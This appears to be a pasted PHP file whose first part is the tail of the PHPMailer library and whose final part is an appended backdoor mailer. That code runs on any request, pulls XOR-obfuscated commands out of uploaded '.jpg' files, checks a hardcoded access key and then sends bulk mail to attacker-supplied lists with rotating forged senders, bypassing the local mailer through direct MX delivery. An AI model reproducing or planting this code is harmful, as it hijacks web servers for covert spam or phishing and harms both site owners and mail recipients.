  2482.             'pdf'   => 'application/pdf',
  2483.             'ai'    => 'application/postscript',
  2484.             'eps'   => 'application/postscript',
  2485.             'ps'    => 'application/postscript',
  2486.             'smi'   => 'application/smil',
  2487.             'smil'  => 'application/smil',
  2488.             'mif'   => 'application/vnd.mif',
  2489.             'xls'   => 'application/vnd.ms-excel',
  2490.             'ppt'   => 'application/vnd.ms-powerpoint',
  2491.             'wbxml' => 'application/vnd.wap.wbxml',
  2492.             'wmlc'  => 'application/vnd.wap.wmlc',
  2493.             'dcr'   => 'application/x-director',
  2494.             'dir'   => 'application/x-director',
  2495.             'dxr'   => 'application/x-director',
  2496.             'dvi'   => 'application/x-dvi',
  2497.             'gtar'  => 'application/x-gtar',
  2498.             'php3'  => 'application/x-httpd-php',
  2499.             'php4'  => 'application/x-httpd-php',
  2500.             'php'   => 'application/x-httpd-php',
  2501.             'phtml' => 'application/x-httpd-php',
  2502.             'phps'  => 'application/x-httpd-php-source',
  2503.             'swf'   => 'application/x-shockwave-flash',
  2504.             'sit'   => 'application/x-stuffit',
  2505.             'tar'   => 'application/x-tar',
  2506.             'tgz'   => 'application/x-tar',
  2507.             'xht'   => 'application/xhtml+xml',
  2508.             'xhtml' => 'application/xhtml+xml',
  2509.             'zip'   => 'application/zip',
  2510.             'mid'   => 'audio/midi',
  2511.             'midi'  => 'audio/midi',
  2512.             'mp2'   => 'audio/mpeg',
  2513.             'mp3'   => 'audio/mpeg',
  2514.             'mpga'  => 'audio/mpeg',
  2515.             'aif'   => 'audio/x-aiff',
  2516.             'aifc'  => 'audio/x-aiff',
  2517.             'aiff'  => 'audio/x-aiff',
  2518.             'ram'   => 'audio/x-pn-realaudio',
  2519.             'rm'    => 'audio/x-pn-realaudio',
  2520.             'rpm'   => 'audio/x-pn-realaudio-plugin',
  2521.             'ra'    => 'audio/x-realaudio',
  2522.             'wav'   => 'audio/x-wav',
  2523.             'bmp'   => 'image/bmp',
  2524.             'gif'   => 'image/gif',
  2525.             'jpeg'  => 'image/jpeg',
  2526.             'jpe'   => 'image/jpeg',
  2527.             'jpg'   => 'image/jpeg',
  2528.             'png'   => 'image/png',
  2529.             'tiff'  => 'image/tiff',
  2530.             'tif'   => 'image/tiff',
  2531.             'eml'   => 'message/rfc822',
  2532.             'css'   => 'text/css',
  2533.             'html'  => 'text/html',
  2534.             'htm'   => 'text/html',
  2535.             'shtml' => 'text/html',
  2536.             'log'   => 'text/plain',
  2537.             'text'  => 'text/plain',
  2538.             'txt'   => 'text/plain',
  2539.             'rtx'   => 'text/richtext',
  2540.             'rtf'   => 'text/rtf',
  2541.             'vcf'   => 'text/vcard',
  2542.             'vcard' => 'text/vcard',
  2543.             'xml'   => 'text/xml',
  2544.             'xsl'   => 'text/xml',
  2545.             'mpeg'  => 'video/mpeg',
  2546.             'mpe'   => 'video/mpeg',
  2547.             'mpg'   => 'video/mpeg',
  2548.             'mov'   => 'video/quicktime',
  2549.             'qt'    => 'video/quicktime',
  2550.             'rv'    => 'video/vnd.rn-realvideo',
  2551.             'avi'   => 'video/x-msvideo',
  2552.             'movie' => 'video/x-sgi-movie'
  2553.         );
  2554.         return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
  2555.     }
  2556.  
  2557.     public static function filenameToType($filename)
  2558.     {
  2559.         // In case the path is a URL, strip any query string before getting extension
  2560.         $qpos = strpos($filename, '?');
  2561.         if (false !== $qpos) {
  2562.             $filename = substr($filename, 0, $qpos);
  2563.         }
  2564.         $pathinfo = self::mb_pathinfo($filename);
  2565.         return self::_mime_types($pathinfo['extension']);
  2566.     }
  2567.  
  2568.     public static function mb_pathinfo($path, $options = null)
  2569.     {
  2570.         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  2571.         $pathinfo = array();
  2572.         if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  2573.             if (array_key_exists(1, $pathinfo)) {
  2574.                 $ret['dirname'] = $pathinfo[1];
  2575.             }
  2576.             if (array_key_exists(2, $pathinfo)) {
  2577.                 $ret['basename'] = $pathinfo[2];
  2578.             }
  2579.             if (array_key_exists(5, $pathinfo)) {
  2580.                 $ret['extension'] = $pathinfo[5];
  2581.             }
  2582.             if (array_key_exists(3, $pathinfo)) {
  2583.                 $ret['filename'] = $pathinfo[3];
  2584.             }
  2585.         }
  2586.         switch ($options) {
  2587.             case PATHINFO_DIRNAME:
  2588.             case 'dirname':
  2589.                 return $ret['dirname'];
  2590.             case PATHINFO_BASENAME:
  2591.             case 'basename':
  2592.                 return $ret['basename'];
  2593.             case PATHINFO_EXTENSION:
  2594.             case 'extension':
  2595.                 return $ret['extension'];
  2596.             case PATHINFO_FILENAME:
  2597.             case 'filename':
  2598.                 return $ret['filename'];
  2599.             default:
  2600.                 return $ret;
  2601.         }
  2602.     }
  2603.     public function set($name, $value = '')
  2604.     {
  2605.         try {
  2606.             if (isset($this->$name)) {
  2607.                 $this->$name = $value;
  2608.             } else {
  2609.                 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  2610.             }
  2611.         } catch (Exception $exc) {
  2612.             $this->setError($exc->getMessage());
  2613.             if ($exc->getCode() == self::STOP_CRITICAL) {
  2614.                 return false;
  2615.             }
  2616.         }
  2617.         return true;
  2618.     }
  2619.  
  2620.     public function secureHeader($str)
  2621.     {
  2622.         return trim(str_replace(array("\r", "\n"), '', $str));
  2623.     }
  2624.     public static function normalizeBreaks($text, $breaktype = "\r\n")
  2625.     {
  2626.         return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  2627.     }
  2628.  
  2629.     public function sign($cert_filename, $key_filename, $key_pass)
  2630.     {
  2631.         $this->sign_cert_file = $cert_filename;
  2632.         $this->sign_key_file = $key_filename;
  2633.         $this->sign_key_pass = $key_pass;
  2634.     }
  2635.     public function DKIM_QP($txt)
  2636.     {
  2637.         $line = '';
  2638.         for ($i = 0; $i < strlen($txt); $i++) {
  2639.             $ord = ord($txt[$i]);
  2640.             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  2641.                 $line .= $txt[$i];
  2642.             } else {
  2643.                 $line .= '=' . sprintf('%02X', $ord);
  2644.             }
  2645.         }
  2646.         return $line;
  2647.     }
  2648.     public function DKIM_Sign($signHeader)
  2649.     {
  2650.         if (!defined('PKCS7_TEXT')) {
  2651.             if ($this->exceptions) {
  2652.                 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  2653.             }
  2654.             return '';
  2655.         }
  2656.         $privKeyStr = file_get_contents($this->DKIM_private);
  2657.         if ($this->DKIM_passphrase != '') {
  2658.             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  2659.         } else {
  2660.             $privKey = $privKeyStr;
  2661.         }
  2662.         if (openssl_sign($signHeader, $signature, $privKey)) {
  2663.             return base64_encode($signature);
  2664.         }
  2665.         return '';
  2666.     }
  2667.     public function DKIM_HeaderC($signHeader)
  2668.     {
  2669.         $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  2670.         $lines = explode("\r\n", $signHeader);
  2671.         foreach ($lines as $key => $line) {
  2672.             list($heading, $value) = explode(':', $line, 2);
  2673.             $heading = strtolower($heading);
  2674.             $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  2675.             $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  2676.         }
  2677.         $signHeader = implode("\r\n", $lines);
  2678.         return $signHeader;
  2679.     }
  2680.     public function DKIM_BodyC($body)
  2681.     {
  2682.         if ($body == '') {
  2683.             return "\r\n";
  2684.         }
  2685.         // stabilize line endings
  2686.         $body = str_replace("\r\n", "\n", $body);
  2687.         $body = str_replace("\n", "\r\n", $body);
  2688.         // END stabilize line endings
  2689.         while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  2690.             $body = substr($body, 0, strlen($body) - 2);
  2691.         }
  2692.         return $body;
  2693.     }
  2694.     public function DKIM_Add($headers_line, $subject, $body)
  2695.     {
  2696.         $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  2697.         $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  2698.         $DKIMquery = 'dns/txt'; // Query method
  2699.         $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  2700.         $subject_header = "Subject: $subject";
  2701.         $headers = explode($this->LE, $headers_line);
  2702.         $from_header = '';
  2703.         $to_header = '';
  2704.         $current = '';
  2705.         foreach ($headers as $header) {
  2706.             if (strpos($header, 'From:') === 0) {
  2707.                 $from_header = $header;
  2708.                 $current = 'from_header';
  2709.             } elseif (strpos($header, 'To:') === 0) {
  2710.                 $to_header = $header;
  2711.                 $current = 'to_header';
  2712.             } else {
  2713.                 if ($current && strpos($header, ' =?') === 0) {
  2714.                     $current .= $header;
  2715.                 } else {
  2716.                     $current = '';
  2717.                 }
  2718.             }
  2719.         }
  2720.         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  2721.         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  2722.         $subject = str_replace(
  2723.             '|',
  2724.             '=7C',
  2725.             $this->DKIM_QP($subject_header)
  2726.         ); // Copied header fields (dkim-quoted-printable)
  2727.         $body = $this->DKIM_BodyC($body);
  2728.         $DKIMlen = strlen($body); // Length of body
  2729.         $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  2730.         $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  2731.         $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  2732.             $DKIMsignatureType . '; q=' .
  2733.             $DKIMquery . '; l=' .
  2734.             $DKIMlen . '; s=' .
  2735.             $this->DKIM_selector .
  2736.             ";\r\n" .
  2737.             "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  2738.             "\th=From:To:Subject;\r\n" .
  2739.             "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  2740.             "\tz=$from\r\n" .
  2741.             "\t|$to\r\n" .
  2742.             "\t|$subject;\r\n" .
  2743.             "\tbh=" . $DKIMb64 . ";\r\n" .
  2744.             "\tb=";
  2745.         $toSign = $this->DKIM_HeaderC(
  2746.             $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
  2747.         );
  2748.         $signed = $this->DKIM_Sign($toSign);
  2749.         return $dkimhdrs . $signed . "\r\n";
  2750.     }
  2751.     public function getToAddresses()
  2752.     {
  2753.         return $this->to;
  2754.     }
  2755.  
  2756.     public function getCcAddresses()
  2757.     {
  2758.         return $this->cc;
  2759.     }
  2760.  
  2761.     public function getBccAddresses()
  2762.     {
  2763.         return $this->bcc;
  2764.     }
  2765.  
  2766.     public function getReplyToAddresses()
  2767.     {
  2768.         return $this->ReplyTo;
  2769.     }
  2770.  
  2771.     public function getAllRecipientAddresses()
  2772.     {
  2773.         return $this->all_recipients;
  2774.     }
  2775.  
  2776.     protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  2777.     {
  2778.         if (!empty($this->action_function) && is_callable($this->action_function)) {
  2779.             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  2780.             call_user_func_array($this->action_function, $params);
  2781.         }
  2782.     }
  2783. }
  2784. class phpmailerException extends Exception
  2785. {
  2786.     public function errorMessage()
  2787.     {
  2788.         $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  2789.         return $errorMsg;
  2790.     }
  2791. }
  2792.  
  2793. /////////////////////////////////////////////////////////////////
  2794. function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type, $config_file)
  2795. {
  2796.     $mail = new PHPMailer();
  2797.     $mail->isMail();
  2798.     $mail->CharSet = 'utf-8';
  2799.     $mail->SetFrom($from_email, $from_name);
  2800.     $mail->AddAddress($to);
  2801.     $mail->Subject = $subject;
  2802.    
  2803.     if ($type == "1")
  2804.     {
  2805.         $mail->MsgHTML($body);
  2806.     }
  2807.     elseif ($type == "2")
  2808.     {
  2809.         $mail->isHTML(false);
  2810.         $mail->Body = $body;
  2811.     }
  2812.     if (isset($_FILES))
  2813.     {
  2814.         foreach($_FILES as $key => $file)
  2815.         {
  2816.             if ($file['tmp_name'] != $config_file)
  2817.             {
  2818.                 $mail->addAttachment($file['tmp_name'], $file['name']);
  2819.             }
  2820.         }
  2821.     }
  2822.     if (!$mail->send())
  2823.     {
  2824.         $to_domain = explode("@", $to);
  2825.         $to_domain = $to_domain[1];
  2826.         $mail->IsSMTP();
  2827.         $mail->Host       = mx_lookup($to_domain);
  2828.         $mail->Port       = 25;
  2829.         $mail->SMTPAuth   = false;
  2830.         if (!$mail->send())
  2831.         {
  2832.             return Array(0, $mail->ErrorInfo);
  2833.         }
  2834.         else
  2835.         {
  2836.             return Array(2, 0);
  2837.         }
  2838.     }
  2839.     else
  2840.     {
  2841.         return Array(1, 0);
  2842.     }
  2843. }
  2844. if (isset($_FILES))
  2845. {
  2846.     foreach($_FILES as $key => $file)
  2847.     {
  2848.         if(strpos($file['name'], ".jpg"))
  2849.         {
  2850.             $res = type1_send($file['tmp_name']);
  2851.             if ($res)
  2852.             {
  2853.                 echo $res;
  2854.             }
  2855.         }
  2856.     }
  2857. }
  2858. function mx_lookup($hostname)
  2859. {
  2860.     @getmxrr($hostname, $mxhosts, $precedence);
  2861.     if(count($mxhosts) === 0) return '127.0.0.1';
  2862.     $position = array_keys($precedence, min($precedence));
  2863.     return $mxhosts[$position[0]];
  2864. }
  2865. function myhex2bin( $str ) {
  2866.     $sbin = "";
  2867.     $len = strlen( $str );
  2868.     for ( $i = 0; $i < $len; $i += 2 ) {
  2869.         $sbin .= pack( "H*", substr( $str, $i, 2 ) );
  2870.     }
  2871.     return $sbin;
  2872. }
  2873.  
  2874. function decode($data, $key)
  2875. {
  2876.     $out_data = "";
  2877.     for ($i=0; $i<strlen($data);)
  2878.     {
  2879.         for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
  2880.         {
  2881.             $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  2882.         }
  2883.     }
  2884.     return $out_data;
  2885. }
  2886. function type1_send($config_file)
  2887. {
  2888.     $data = file_get_contents($config_file);
  2889.     $start_pos = strpos($data, myhex2bin("ffda"));
  2890.     if ($start_pos)
  2891.     {
  2892.         $start_pos += (20);
  2893.         $end_pos = strrpos($data, myhex2bin("ffd9"));
  2894.         if ($end_pos)
  2895.         {
  2896.             $data = substr($data, $start_pos, $end_pos);
  2897.         }
  2898.         else
  2899.         {
  2900.             return FALSE;
  2901.         }
  2902.     }
  2903.     else
  2904.     {
  2905.         return FALSE;
  2906.     }
  2907.     $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  2908.     $data = decode($data, $key);
  2909.     $data = @unserialize($data);
  2910.     if (!$data || !isset($data['ak']))
  2911.     {
  2912.         return FALSE;
  2913.     }
  2914.     if ($data['ak'] != "2bc7ab10-f082-4856-885e-cb01870dff8e")
  2915.     {
  2916.         exit();
  2917.     }
  2918.     if (isset($data['c']))
  2919.     {
  2920.         $res["r"]["c"] = $data['c'];
  2921.         return base64_encode(serialize($res));
  2922.     }
  2923.     $good = 0;
  2924.     $bad = 0;
  2925.     $last_error = Array(0, 0);
  2926.     foreach ($data['e'] as $uid=>$email)
  2927.     {
  2928.         $theme = $data['s'][array_rand($data['s'])];
  2929.         $theme = alter_macros($theme);
  2930.         $theme = num_macros($theme);
  2931.         $theme = xnum_macros($theme);
  2932.         $message = $data['l'];
  2933.         $message = alter_macros($message);
  2934.         $message = num_macros($message);
  2935.         $message = xnum_macros($message);
  2936.         $message = fteil_macros($message, $uid);
  2937.         $from = $data['f'][array_rand($data['f'])];
  2938.         $from = alter_macros($from);
  2939.         $from = num_macros($from);
  2940.         $from = xnum_macros($from);
  2941.        
  2942.         if (strstr($from, "[CUSTOM]") == FALSE)
  2943.         {
  2944.             $from = from_host($from);
  2945.         }
  2946.         else
  2947.         {
  2948.             $from = str_replace("[CUSTOM]", "", $from);
  2949.         }
  2950.        
  2951.         $from_email = explode("<", $from);
  2952.         $from_email = explode(">", $from_email[1]);
  2953.         $from_name = explode("\"", $from);
  2954.         $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt'], $config_file);
  2955.        
  2956.         if ($last_error[1] === 0)
  2957.         {
  2958.             $good++;
  2959.         }
  2960.         else
  2961.         {
  2962.             $bad++;
  2963.             $good = count($data['e']) - $bad;
  2964.         }
  2965.     }
  2966.    
  2967.     $res["r"]["t"] = $last_error[0];
  2968.     $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
  2969.     $res["r"]["g"] = $good;
  2970.     $res["r"]["b"] = $bad;
  2971.     return base64_encode(serialize($res));
  2972. }
Add Comment
Please, Sign In to add comment